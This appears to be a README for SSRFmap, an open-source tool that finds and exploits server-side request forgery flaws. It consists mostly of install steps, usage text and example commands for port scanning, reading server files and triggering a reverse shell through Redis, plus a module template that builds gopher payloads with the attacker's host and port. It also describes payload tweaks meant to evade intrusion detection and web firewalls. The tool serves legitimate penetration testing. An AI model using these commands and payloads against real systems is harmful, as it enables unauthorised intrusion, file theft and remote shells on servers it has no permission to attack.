Automatic SSRF fuzzer and exploitation tool: SSRFmap

Image result for ssrf
SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Guide / RTFM

Basic install from the Github repository.
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap/
pip3 install -r requirements.txt
python3 ssrfmap.py

usage: ssrfmap.py [-h] [-r REQFILE] [-p PARAM] [-m MODULES] [-l HANDLER]
                  [--lhost LHOST] [--lport LPORT] [--uagent USERAGENT]
                  [--ssl [SSL]] [--level [LEVEL]]

optional arguments:
  -h, --help          show this help message and exit
  -r REQFILE          SSRF Request file
  -p PARAM            SSRF Parameter to target
  -m MODULES          SSRF Modules to enable
  -l HANDLER          Start an handler for a reverse shell
  --lhost LHOST       LHOST reverse shell
  --lport LPORT       LPORT reverse shell
  --uagent USERAGENT  User Agent to use
  --ssl [SSL]         Use HTTPS without verification
  --level [LEVEL]     Level of test to perform (1-5, default: 1)
The default way to use this script is the following.
# Launch a portscan on localhost and read default files
python ssrfmap.py -r data/request.txt -p url -m readfiles,portscan

# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py -r data/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

# Triggering a reverse shell on a Redis
python ssrfmap.py -r data/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
A quick way to test the framework can be done with data/example.py SSRF service.
FLASK_APP=data/example.py flask run &
python ssrfmap.py -r data/request.txt -p url -m readfiles

I <3 pull requests :) Feel free to add any feature listed below or a new service.
The following code is a template if you wish to add a module interacting with a service.
from core.utils import *
import logging

name          = "servicename in lowercase"
description   = "ServiceName RCE - What does it do"
author        = "Name or pseudo of the author"
documentation = ["http://link_to_a_research", "http://another_link"]

class exploit():
    SERVER_HOST = "127.0.0.1"
    SERVER_PORT = "4242"

    def __init__(self, requester, args):
        logging.info("Module '{}' launched !".format(name))

        # Handle args for reverse shell
        if args.lhost == None: self.SERVER_HOST = input("Server Host:")
        else:                  self.SERVER_HOST = args.lhost

        if args.lport == None: self.SERVER_PORT = input("Server Port:")
        else:                  self.SERVER_PORT = args.lport

        # Data for the service
        # Using a generator to create the host list
        # Edit the following ip if you need to target something else
        gen_host = gen_ip_list("127.0.0.1", args.level)
        for ip in gen_host:
            port = "6379"
            data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
            payload = wrapper_gopher(data, ip , port)

            # Handle args for reverse shell
            payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
            payload = payload.replace("SERVER_PORT", self.SERVER_PORT)

            # Send the payload
            r = requester.do_request(args.param, payload)
